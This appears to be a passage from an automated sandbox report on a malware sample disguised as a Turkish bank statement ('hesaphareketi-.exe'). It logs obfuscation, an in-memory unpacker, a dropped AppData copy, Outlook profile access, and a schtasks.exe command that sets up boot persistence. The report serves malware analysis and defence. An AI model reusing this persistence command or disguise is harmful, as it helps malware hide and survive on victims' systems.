Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Section loaded: vaultcli.dll
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Section loaded: rasapi32.dll
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Section loaded: rasman.dll
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Section loaded: rtutils.dll
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Section loaded: edputil.dll

Source: C:\Users\user\Desktop\hesaphareketi-.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\hesaphareketi-.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\Desktop\hesaphareketi-.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Outlook\Profiles

Jump to behavior

Source: hesaphareketi-.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: hesaphareketi-.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Data Obfuscation

.NET source code contains potential unpacker

Source: 0.2.hesaphareketi-.exe.3807c58.3.raw.unpack, F20LWFVHgRjD1hgb3j.cs

.Net Code: dWUJRPvyRJ System.Reflection.Assembly.Load(byte[])

Source: C:\Users\user\Desktop\hesaphareketi-.exe	Code function: 8_2_066EA930 push es; ret		8_2_066EA940
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Code function: 13_2_069419A5 push es; ret		13_2_069419AC

Source: hesaphareketi-.exe	Static PE information: section name: .text entropy: 7.973890761853698
Source: xyodEPhulIrkY.exe.0.dr	Static PE information: section name: .text entropy: 7.973890761853698

Source: 0.2.hesaphareketi-.exe.3807c58.3.raw.unpack, JLe6m0JVI7W98w4t5s.cs	High entropy of concatenated method names: 'PXMgSOmyU1', 'dDHgV9qSUK', 'YJwgwIWl92', 'TsRgC3uxVb', 'KPmgDhcLbF', 'O1bg06BNis', 'dDl4smuF3lN21RQpPj', 'vrayaa7YShP4xcfceg', 'HBQggr60nq', 'OnFgYTVAx0'
Source: 0.2.hesaphareketi-.exe.3807c58.3.raw.unpack, BAqdu2tZUYWeAgev1s.cs	High entropy of concatenated method names: 'WF1bwrkdPq', 'xyLbCjOexI', 'ToString', 'YMDbcYayuk', 'icwbd7Z1Zt', 'pkabxhbH2E', 'BIJbhvG94g', 'Nx7biU5YLL', 'yarbSI2Aft', 'HsCbVHjjy2'
Source: 0.2.hesaphareketi-.exe.3807c58.3.raw.unpack, AVkm8InX6lcvvv10tM.cs	High entropy of concatenated method names: 'GHiq7UeFbc', 'dWJqZAMUaB', 'xkqqIp8eVw', 'Rk3qefO1je', 'xLRqHHK9Wt', 'q3sq1YeIEg', 'YHnqF1QRTs', 'SoSqKBvuM7', 'XVwqsALhiK', 'DgUqyHHPn0'
Source: 0.2.hesaphareketi-.exe.3807c58.3.raw.unpack, LYkbs8FO0PYvEPcgSo.cs	High entropy of concatenated method names: 'kZqScrhmBR', 'gLBSxaYSfp', 'QfQSipvcY2', 'wdTiPtCRWO', 'k45izIIsvC', 'HDRSfDZSa6', 'o3qSgDnllw', 'zwuSrjrZcP', 'zc6SYYRNwr', 'lhtSJJlJJK'
Source: 0.2.hesaphareketi-.exe.3807c58.3.raw.unpack, g1TRgK3U5nRcEG5wUg.cs	High entropy of concatenated method names: 'EZMSpPwt5n', 'mc9SmaNNDu', 'uvwSR66VSs', 'jNlSWUjERF', 'RPMSa6lAI7', 'O2xSAu3k1f', 'TdtSu7O6c2', 'agxS7DqMAT', 'eGOSZjX9ZD', 'U6GSjUJdZp'
Source: 0.2.hesaphareketi-.exe.3807c58.3.raw.unpack, zHTY2RXOZnp6HaMgIa.cs	High entropy of concatenated method names: 'c0MbvhLfYY', 'MimbPuQRYL', 'IGU2frawt1', 'L0c2gMEEY7', 'xl8byHT96w', 'ObnbToxW0J', 'sS3bnjvKSV', 'FgYb43j7r4', 'XDnbOwi0c6', 'm38bN6bRFl'
Source: 0.2.hesaphareketi-.exe.3807c58.3.raw.unpack, Lysk8PZJwIWl92tsR3.cs	High entropy of concatenated method names: 'AVcxWW4DlC', 'eQ6xAi4V0N', 'hFnx7TuVQN', 'rHyxZ2dtCB', 'Vw0xDK33DV', 'pk7x0I8j34', 'yp0xbGV69J', 'Pklx2lpAsl', 'UBFxMiNHs7', 'FKFx8EBFxu'
Source: 0.2.hesaphareketi-.exe.3807c58.3.raw.unpack, I8gbKBPIFsh7sO6RDp.cs	High entropy of concatenated method names: 'kP7MgpYflT', 'X13MYsUUas', 'T8HMJUZlyS', 'NZHMcey9ZT', 'QgTMd4X2q8', 'tuKMhP2AOe', 'xmbMiTkEID', 'zZQ2kt8u1K', 'VAQ2vZbuiZ', 'HFu2LEg9rd'
Source: 0.2.hesaphareketi-.exe.3807c58.3.raw.unpack, XbFy1bI6BNisxcL8lJ.cs	High entropy of concatenated method names: 'OrxiBcTmBU', 'QFFidqEysC', 'm42ihPpnrq', 'bUWiS34Zv8', 'moHiVmEqQH', 'gsThGwg64L', 'jbhhXPV6yn', 'q52hkG279D', 'WPphvP3k08', 'YJahLpmW72'
Source: 0.2.hesaphareketi-.exe.3807c58.3.raw.unpack, qtZqvMdjbJfMeWP9dC.cs	High entropy of concatenated method names: 'Dispose', 's3ngLbNeIS', 'X4Rrer01tf', 'rA544trITb', 'ym1gPANpgl', 'JvegzpJfdm', 'ProcessDialogKey', 'B9prftc3hw', 'CwErgXgGVy', 'oamrrH8gbK'
Source: 0.2.hesaphareketi-.exe.3807c58.3.raw.unpack, MG927nNEE6QY8Nd6uS.cs	High entropy of concatenated method names: 'ToString', 'XN00yqbCJB', 'FO10exQXiC', 'CN80Uy6JKX', 'gH80Hoe7L6', 'uN201Mq4VK', 'sji09RBgYw', 'CvD0F0ynkm', 'MM40K2L3fI', 'q8L03QqxVL'
Source: 0.2.hesaphareketi-.exe.3807c58.3.raw.unpack, y1ANpgvl1vepJfdmA9.cs	High entropy of concatenated method names: 'b3n2cSEdPR', 'uMl2d3JBia', 'WnI2xxT7fF', 'C1M2hJZ7yP', 'KfM2iHvU3b', 'jkL2SUV73S', 'IS72VpJuho', 'aKP2Q6bPwy', 'Klm2wXbuGe', 'Ly02C77G8A'
Source: 0.2.hesaphareketi-.exe.3807c58.3.raw.unpack, xtc3hwLAwEXgGVyDam.cs	High entropy of concatenated method names: 'D0L2Ic9M4M', 'nO62eNoJKR', 'KOW2UsuMrB', 'yvi2HgxQW6', 'XxQ24BoHbK', 'rsP21ecSno', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.hesaphareketi-.exe.3807c58.3.raw.unpack, NPeksFgYcSe8B0FI7oE.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'DcR84JCfHT', 'MdF8O2jXpP', 'lZ88N7Q2gp', 'Ky98tbgguA', 'WRR8Gfmj4A', 'Iw78XqXRRx', 'dUZ8kNBcHk'
Source: 0.2.hesaphareketi-.exe.3807c58.3.raw.unpack, rOmyU17JDH9qSUKV5w.cs	High entropy of concatenated method names: 'LG9d4IrvbV', 'MfjdOTsLec', 'QANdNOIyIT', 'PL1dtBgkr9', 'MUvdGUE8s6', 'CdbdX91MIE', 'aLZdkdd49k', 'qQmdvBjdc2', 't5gdLgJJIW', 'XppdPvgExy'
Source: 0.2.hesaphareketi-.exe.3807c58.3.raw.unpack, F20LWFVHgRjD1hgb3j.cs	High entropy of concatenated method names: 'Ae3YBFmYd6', 'IuRYcHTyT1', 'O3CYdrZUnh', 'C9TYxQ4N48', 'ztpYhNrgo8', 'lG9YiR2a3j', 'edSYSw21Jw', 'SCPYVh4ib5', 'y7lYQEORvW', 'b2rYwb5jLa'
Source: 0.2.hesaphareketi-.exe.3807c58.3.raw.unpack, zx1knCgfXJiQfOm40s6.cs	High entropy of concatenated method names: 'lkZMp8iMTg', 'Ie0MmwVNey', 'npdMREGQuI', 'nJEMWk1Vdi', 'JJeMacHOaq', 'zJUMAp0Nm9', 'NlRMueGpP0', 'Mp0M7DSIU7', 'OyrMZqaK45', 'SWwMjMS83r'
Source: 0.2.hesaphareketi-.exe.3807c58.3.raw.unpack, BdQBg9ggM9qnIQ52I06.cs	High entropy of concatenated method names: 'ToString', 'B1L8YjmywZ', 'v7O8JhH6qp', 'ex48BWtMAi', 'mKp8cmeN8T', 'xR38dAMPen', 'HmF8xYSQZb', 'Ya78hIoIo0', 'BfFxpqykgqtGrv9WZvP', 'hRVDdJyOtCGiaBlnYqh'
Source: 0.2.hesaphareketi-.exe.3807c58.3.raw.unpack, aDT2cHrHXfmMo3lhFr.cs	High entropy of concatenated method names: 'ucBRKxGSW', 'FN6WGgKEL', 'kKBA0Mfrx', 'QCcuoiXAg', 'XvKZulCV4', 'r12jcqDhd', 'rDLsumnqn0dKgkyuhO', 'FKCsAvFmFANxlJVcMu', 'xGX2vjExD', 'O7k8iop5s'
Source: 0.2.hesaphareketi-.exe.3807c58.3.raw.unpack, DxVbtJjpm1602FPmhc.cs	High entropy of concatenated method names: 'fANhafQ3my', 'IRQhu3q84D', 'wtkxUiPEFl', 'gNJxHDbZIs', 'qAsx1Gx2BA', 'gCAx9Noi4S', 'QatxFuMhHv', 'ttrxKXOifW', 'SFBx3dCUqn', 'cT6xsSChpV'

Source: C:\Users\user\Desktop\hesaphareketi-.exe

File created: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe

Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\Desktop\hesaphareketi-.exe

Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\xyodEPhulIrkY" /XML "C:\Users\user\AppData\Local\Temp\tmpE555.tmp"

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
